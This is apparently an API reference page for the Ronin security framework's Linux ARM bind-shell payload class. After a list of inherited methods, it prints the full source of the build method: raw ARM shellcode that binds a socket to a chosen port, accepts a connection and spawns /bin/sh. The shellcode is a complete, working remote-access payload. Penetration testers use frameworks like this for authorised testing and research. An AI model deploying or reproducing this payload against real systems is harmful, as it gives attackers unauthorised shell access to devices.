Class: Ronin::Payloads::Shellcode::Linux::ARM::BindShell

Inherits:
BindShellPayload show all
Defined in:
lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb

Overview

Linux ARM shellcode that binds a shell to a port.

Instance Attribute Summary

Attributes included from Mixins::PostEx

#session

Attributes inherited from Payload

#encoders, #payload

Instance Method Summary collapse

Methods inherited from BindShellPayload

#packed_port

Methods included from Mixins::Network

#pack_ipv4, #pack_ipv6, #pack_port

Methods included from Mixins::ResolveHost

#host_address, #host_addresses, #host_ip_address, #host_ip_addresses, #host_ipv4_address, #host_ipv4_addresses, #host_ipv6_address, #host_ipv6_addresses

Methods included from Mixins::BindShell

#host, included, #perform_postlaunch, #port

Methods included from Mixins::PostEx

#perform_cleanup

Methods inherited from Ronin::Payloads::ShellcodePayload

payload_type, #shellcode

Methods inherited from ASMPayload

#assemble, assembler, payload_type

Methods included from Metadata::OS

included, #os, #os_version

Methods included from Metadata::Arch

#arch, included

Methods inherited from BinaryPayload

payload_type

Methods inherited from Payload

#built?, #built_payload, #bytesize, #cleanup, #encode_payload, #encoded_payload, encoder_class, #initialize, #length, payload_type, #perform_build, #perform_cleanup, #perform_postlaunch, #perform_prelaunch, #perform_validate, #postlaunch, #prelaunch, #rebuild_payload, #reencode_payload, register, #to_s, #validate

Constructor Details

This class inherits a constructor from Ronin::Payloads::Payload

Instance Method Details

#buildObject

Builds the shellcode.



53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# File 'lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb', line 53

def build
  sin_port_hi = packed_port[0]
  sin_port_lo = packed_port[1]

  @payload = "\x02\x00\xa0\xe3" \
             "\x01\x10\xa0\xe3" \
             "\x06\x20\xa0\xe3" \
             "\x07\x00\x2d\xe9" \
             "\x01\x00\xa0\xe3" \
             "\x0d\x10\xa0\xe1" \
             "\x66\x00\x90\xef" \
             "\x0c\xd0\x8d\xe2" \
             "\x00\x60\xa0\xe1" \
             "#{sin_port_lo}\x10\xa0\xe3" \
             "#{sin_port_hi}\x70\xa0\xe3" \
             "\x01\x1c\xa0\xe1" \
             "\x07\x18\x81\xe0" \
             "\x02\x10\x81\xe2" \
             "\x02\x20\x42\xe0" \
             "\x06\x00\x2d\xe9" \
             "\x0d\x10\xa0\xe1" \
             "\x10\x20\xa0\xe3" \
             "\x07\x00\x2d\xe9" \
             "\x02\x00\xa0\xe3" \
             "\x0d\x10\xa0\xe1" \
             "\x66\x00\x90\xef" \
             "\x14\xd0\x8d\xe2" \
             "\x01\x10\xa0\xe3" \
             "\x06\x00\xa0\xe1" \
             "\x03\x00\x2d\xe9" \
             "\x04\x00\xa0\xe3" \
             "\x0d\x10\xa0\xe1" \
             "\x66\x00\x90\xef" \
             "\x08\xd0\x8d\xe2" \
             "\x06\x00\xa0\xe1" \
             "\x01\x10\x41\xe0" \
             "\x02\x20\x42\xe0" \
             "\x07\x00\x2d\xe9" \
             "\x05\x00\xa0\xe3" \
             "\x0d\x10\xa0\xe1" \
             "\x66\x00\x90\xef" \
             "\x0c\xd0\x8d\xe2" \
             "\x00\x60\xa0\xe1" \
             "\x02\x10\xa0\xe3" \
             "\x06\x00\xa0\xe1" \
             "\x3f\x00\x90\xef" \
             "\x01\x10\x51\xe2" \
             "\xfb\xff\xff\x5a" \
             "\x04\x10\x4d\xe2" \
             "\x02\x20\x42\xe0" \
             "\x2f\x30\xa0\xe3" \
             "\x62\x70\xa0\xe3" \
             "\x07\x34\x83\xe0" \
             "\x69\x70\xa0\xe3" \
             "\x07\x38\x83\xe0" \
             "\x6e\x70\xa0\xe3" \
             "\x07\x3c\x83\xe0" \
             "\x2f\x40\xa0\xe3" \
             "\x73\x70\xa0\xe3" \
             "\x07\x44\x84\xe0" \
             "\x68\x70\xa0\xe3" \
             "\x07\x48\x84\xe0" \
             "\x73\x50\xa0\xe3" \
             "\x68\x70\xa0\xe3" \
             "\x07\x54\x85\xe0" \
             "\x3e\x00\x2d\xe9" \
             "\x08\x00\x8d\xe2" \
             "\x00\x10\x8d\xe2" \
             "\x04\x20\x8d\xe2" \
             "\x0b\x00\x90\xef".b
end